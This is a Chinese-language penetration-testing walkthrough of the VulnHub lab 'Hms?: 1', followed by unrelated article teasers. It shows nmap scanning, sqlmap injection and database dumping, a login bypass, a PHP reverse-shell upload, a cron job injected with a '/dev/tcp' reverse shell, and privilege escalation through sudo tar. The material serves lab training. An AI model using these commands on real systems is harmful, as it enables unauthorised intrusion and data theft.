Hms?: 1渗透测试
靶机:Hms?: 1 Hms?: 1 ~ VulnHub
攻击机:kail linux 2024
主机扫描阶段发现不了靶机,所以需要按DriftingBlues2一样手动配置网卡

1,将两台虚拟机网络连接都改为NAT模式,并查看靶机的MAC地址

2,攻击机上做主机扫描发现靶机

攻击机IP地址192.168.23.128,靶机IP地址192.168.23.144
3,扫描靶机端口服务
nmap -T4 -sC -sV -p- -A --min-rate=1000 192.168.23.144
-T<0-5>:时间模板,越大速度越快
-sV:探测开放的端口的系统/服务信息
-p:指定端口扫描范围

开启了如下服务
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
7080/tcp open http Apache httpd 2.4.48 ((Unix) OpenSSL/1.1.1k PHP/7.3.29 mod_perl/2.0.11 Perl/v5.32.1)
4,访问web页面192.168.23.144:7080

存在一个登录页面
5,检查HTML静态页面,可能存在SQL注入漏洞

使用sqlmap进行注入
sqlmap -o -u "http://192.168.23.144:7080/login.php" --batch -forms --level=3 --risk=3

上面输出说明[email]存在[万能密码登录]样式为[or 1=1],再爆破出数据库名
sqlmap -u "http://192.168.23.144:7080/login.php" --data "user=admin&email=mayuri.infospace%40gmail.com&password=123&btn_login=" --dbs

使用数据库clinic_db爆出表名
sqlmap -u "http://192.168.23.144:7080/login.php" --data "user=admin&email=mayuri.infospace%40gmail.com&password=123&btn_login=" -D clinic_db --tables

最后爆出root用户的信息
sqlmap -u "http://192.168.23.144:7080/login.php" --data "user=admin&email=mayuri.infospace%40gmail.com&password=123&btn_login=" -D phpmyadmin --dump-all

root | 2021-07-25 22:05:10 | {"Console\\/Mode":"collapse","NavigationWidth":0}
6,使用万能密码进行登录
![]()
登录前删除type=email标签,否则无法输入万能密码

7,查看网页源码发现文件上传地址

发现setting.php,右下角可对文件进行上传

8,在指定位置上传反弹shell的php文件

Cheat Sheets | pentestmonkey,下载需要的攻击语句

9,上传成功之后再访问文件所在的目录
192.168.23.144:7080/uploadImage/Logo/2.php
同时开启端口监听 nc -lvnp 1234

10,获得终端shell,并运行python命令获得可交互shell
python -c 'import pty;pty.spawn("/bin/bash")'
![]()
11,查看权限三件套,当前权限太低

12,提权的思路是,寻找可执行的二进制文件
find / -perm -4000 -type f 2>/dev/null

发现/usr/bin/bash可执行,可以切换到用户eren
/usr/bin/bash -p

13,用户无法查看可执行文件,查看一下定时任务 cat /etc/crontab

发现backup.sh每5分钟运行一次

利用定时任务来反弹shell,提取权限,将bash命令写入backup.sh
echo "bash -i >& /dev/tcp/192.168.23.128/1235 0>&1" >> /home/eren/backup.sh

与此同时靶机开启端口监听,nc -lvp 1235

定时任务执行之后,在攻击机上就获得了靶机的shell
14,提权操作,查看一下有没有sudo权限 sudo -l,
用户eren在主机nivek上通过sudo -l命令查看得到具有特定权限:可以使用sudo以root身份无密码(NOPASSWD)执行/bin/tar命令。这是一个比较有限的权限授予情况

提权原理:tar 命令通常用于压缩和解压缩文件。在某些情况下,tar 命令可以利用 --checkpoint-action 选项来执行系统命令,从而实现提权。
使用 tar 命令执行恶意脚本:利用 sudo 权限运行 tar 命令,并使用 --checkpoint-action 选项来执行恶意脚本。
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

可以看到执行命令后提权成功,获得flag

成功得到flag
知识点: 利用tar命令提权
思路阐述:由于tar命令在一些情况下如果被不当使用可能会导致提权。例如,如果目标系统存在可被利用的文件包含漏洞或者配置不当的情况。如果能够利用tar命令在提取文件时覆盖关键系统文件(如/etc/passwd等),就有可能达到
主机扫描发现靶机——扫描靶机端口——靶机指定7080端口提供web服务——登录页面存在SQL注入漏洞,弱密码登录——上传反弹shell文件——进入php文件路径,从而获得shell——二进制文件切换用户eren——将发帖shell的bash脚本写入定时任务——定时任务更新,且靶机监听到反弹shell,成功获得终端——利用sudo命令+tar命令漏洞,成功提权成为root用户
相关文章:
Hms?: 1渗透测试
靶机:Hms?: 1 Hms?: 1 ~ VulnHub 攻击机:kail linux 2024 主机扫描阶段发现不了靶机,所以需要按DriftingBlues2一样手动配置网卡 1,将两台虚拟机网络连接都改为NAT模式,并查看靶机的MAC地址 2,攻击机上做主机扫描发现…...
1、Qt6 Quick 简介
一、Qt6 Quick 简介 1、Qt Quick简介 Qt Quick 是 Qt 6 中使用的用户界面技术的总称。它是在 Qt 4 中引入的,现在在 Qt 6 中进行了扩展。Qt Quick 本身是几种技术的集合: QML——用户界面标记语言JavaScript - 动态脚本语言Qt C - 高度可移植的增强型…...
大模型论文集-20241103
Investigating the catastrophic forgetting in multimodal large language models 研究问题 本文探讨了多模态大型语言模型(MLLMs)在学习新任务时的灾难性遗忘现象。研究者关注于在添加新数据集后,模型是否能够保留之前学到的知识而不忘记…...
GESP4级考试语法知识(计数排序-桶排序)
整数排列参考程序代码: #include<iostream> #include<cstring> using namespace std; int main() {int a[101],n,i,j,k;memset(a,0,sizeof(a)); //数组清0cin>>n; //输入数字个数for(i1;i<n;i) {cin>>k; //输…...
红队-shodan搜索引擎篇
如涉及侵权马上删除文章 笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负 一.shodan原理与功能的介绍 Shodan Search Engine 它是专门搜网络设备的,只要联网的,只要有IP地址的都可以称为网络设备 1.shodan&#x…...
SQL 数据结构查询
1:查询变得结构。 SELECT COLID,SO.NAME,EP.VALUE,SO.LENGTH,MIN(ST.NAME) AS TYPE FROM SYS.EXTENDED_PROPERTIES EP RIGHT JOIN SYS.SYSCOLUMNS SO ON MAJOR_IDID AND COLIDMINOR_ID LEFT JOIN SYS.SYSTYPES ST ON ST.XTYPESO…...
《高频电子线路》—— 角度调制(调相、调频)
文章内容来源于【中国大学MOOC 华中科技大学通信(高频)电子线路精品公开课】,此篇文章仅作为笔记分享。 目录 角度调制(调相、调频) 角度调制的原因 调频VS调幅 角度调制的分类 本章重难点 调相 时域࿰…...
危机来临前---- 力扣: 876
危机即将来临 – 链表的中间节点 描述: 给你单链表的头结点 head ,请你找出并返回链表的中间结点。如果有两个中间结点,则返回第二个中间结点。 示例: 何解? 1、遍历找到中间节点 : 这个之在回文链表中找…...
langchain调用chatgpt对文本进行编码
1.导包 from langchain_openai import OpenAIEmbeddings2.加载编码器 embeddings_model OpenAIEmbeddings(model"text-embedding-3-large",base_url"https://api.chatanywhere.tech/v1")3.编码 embeded_result embeddings_model.embed_documents([&qu…...
python manage.py
自定义命令python manage.py 文件夹建立:(Python Package)这个形式的包,里面会自动加载__init__.py文件 1.新建management文件夹(文件必须加载在新建APP下,不能建在初始APP下) 2.在里面创建名为:commands的文件夹 3.在其下创建名…...
qt QDoubleSpinBox详解
1、概述 QDoubleSpinBox是Qt框架中的一个控件,专门用于浮点数(即小数)的输入和调节。它提供了一个用户界面元素,允许用户在预设的范围内通过拖动滑块、点击箭头或使用键盘来递增或递减浮点数值。QDoubleSpinBox通常用于需要精确数…...
RK3229 Android9自定义一个按键实现长按短按
一、kernel修改 --- a/arch/arm/boot/dts/rk3229-evb-android.dtsib/arch/arm/boot/dts/rk3229-evb-android.dtsi-18,26 18,25 };gpio_keys {status "okay";compatible "gpio-keys";#address-cells <1>;#size-cells <0>;autorepeat;pinct…...
A*算法求第k短路
话不多说先上例题。。 acwing:178. 第K短路 给定一张 NN 个点(编号 1,2…N1,2…N),MM 条边的有向图,求从起点 SS 到终点 TT 的第 KK 短路的长度,路径允许重复经过点或边。 注意: 每条最短路中至…...
CVPR’25截稿在即:今年的重大新规,你知道吗?
介绍会议: CVPR 2025全称是 IEEE/CVF Conference on Computer Vision and Pattern Recognition,即IEEE/CVF国际计算机视觉与模式识别会议。将于2025年6月11日至15日在美国田纳西州纳什维尔召开,CVPR是计算机视觉和模式识别领域的顶级会议。与…...
一文详解销售管理系统的功能、作用、选型
在当今竞争激烈的商业环境中,企业需要高效的工具来管理销售流程、提升客户关系和优化业务决策。销售管理系统(Sales Management System)正是这样一种工具,它通过整合客户信息、自动化销售流程和提供数据分析,帮助企业实…...
MySQL上RDS MySQL
初步想法是通过主从复制的方式进行,即ECS上的数据库设为主,RDS为从,等同步完成后,切换为RDS节点。创建实例后发现,RDS实例不支持server-id的自定义配置,这个想法就被否决了。但是aliyun和huaweiyun 都提供了…...
单体架构的 IM 系统设计
先直接抛出业务背景! 有一款游戏,日活跃量(DAU)在两千左右,虽然 DAU 不高,但这两千用户的忠诚度非常高,而且会持续为游戏充值;为了进一步提高用户体验,继续增强用户的忠…...
kafka消费端常见故障及处理方法
文章目录 前言一、消费端某个进程已经crash1. 主要心跳相关配置2. 完整的消费者配置示例3. 调整参数的建议 二、客户端没有crash,但是消费阻塞1. 工作机制2. 示例配置3.运用在代码里3. 配置建议 前言 kafka消费端经常会出现一些故障,一起来分析一下故障…...
【linux 多进程并发】0302 Linux下多进程模型的网络服务器架构设计,实时响应多客户端请求
0302 多进程网络服务器架构 专栏内容: postgresql使用入门基础手写数据库toadb并发编程 个人主页:我的主页 管理社区:开源数据库 座右铭:天行健,君子以自强不息;地势坤,君子以厚德载物. 一、概…...
LTE及EPC技术原理(笔记)
无线网络发展历史 20世纪80年代:模拟技术和FDMA 20世纪90年代:数字技术和TDMA 21世纪初:数字技术和CDMA LTE进步 下行100Mbps,上行50Mbps 用户面时延10-20ms,控制面时延小于100ms 带宽从1.4MHz~20MHz࿰…...
19c补丁后oracle属主变化,导致不能识别磁盘组
补丁后服务器重启,数据库再次无法启动 ORA01017: invalid username/password; logon denied Oracle 19c 在打上 19.23 或以上补丁版本后,存在与用户组权限相关的问题。具体表现为,Oracle 实例的运行用户(oracle)和集…...
【kafka】Golang实现分布式Masscan任务调度系统
要求: 输出两个程序,一个命令行程序(命令行参数用flag)和一个服务端程序。 命令行程序支持通过命令行参数配置下发IP或IP段、端口、扫描带宽,然后将消息推送到kafka里面。 服务端程序: 从kafka消费者接收…...
条件运算符
C中的三目运算符(也称条件运算符,英文:ternary operator)是一种简洁的条件选择语句,语法如下: 条件表达式 ? 表达式1 : 表达式2• 如果“条件表达式”为true,则整个表达式的结果为“表达式1”…...
微信小程序 - 手机震动
一、界面 <button type"primary" bindtap"shortVibrate">短震动</button> <button type"primary" bindtap"longVibrate">长震动</button> 二、js逻辑代码 注:文档 https://developers.weixin.qq…...
k8s业务程序联调工具-KtConnect
概述 原理 工具作用是建立了一个从本地到集群的单向VPN,根据VPN原理,打通两个内网必然需要借助一个公共中继节点,ktconnect工具巧妙的利用k8s原生的portforward能力,简化了建立连接的过程,apiserver间接起到了中继节…...
稳定币的深度剖析与展望
一、引言 在当今数字化浪潮席卷全球的时代,加密货币作为一种新兴的金融现象,正以前所未有的速度改变着我们对传统货币和金融体系的认知。然而,加密货币市场的高度波动性却成为了其广泛应用和普及的一大障碍。在这样的背景下,稳定…...
Python 包管理器 uv 介绍
Python 包管理器 uv 全面介绍 uv 是由 Astral(热门工具 Ruff 的开发者)推出的下一代高性能 Python 包管理器和构建工具,用 Rust 编写。它旨在解决传统工具(如 pip、virtualenv、pip-tools)的性能瓶颈,同时…...
DBLP数据库是什么?
DBLP(Digital Bibliography & Library Project)Computer Science Bibliography是全球著名的计算机科学出版物的开放书目数据库。DBLP所收录的期刊和会议论文质量较高,数据库文献更新速度很快,很好地反映了国际计算机科学学术研…...
解析两阶段提交与三阶段提交的核心差异及MySQL实现方案
引言 在分布式系统的事务处理中,如何保障跨节点数据操作的一致性始终是核心挑战。经典的两阶段提交协议(2PC)通过准备阶段与提交阶段的协调机制,以同步决策模式确保事务原子性。其改进版本三阶段提交协议(3PC…...
快速排序算法改进:随机快排-荷兰国旗划分详解
随机快速排序-荷兰国旗划分算法详解 一、基础知识回顾1.1 快速排序简介1.2 荷兰国旗问题 二、随机快排 - 荷兰国旗划分原理2.1 随机化枢轴选择2.2 荷兰国旗划分过程2.3 结合随机快排与荷兰国旗划分 三、代码实现3.1 Python实现3.2 Java实现3.3 C实现 四、性能分析4.1 时间复杂度…...
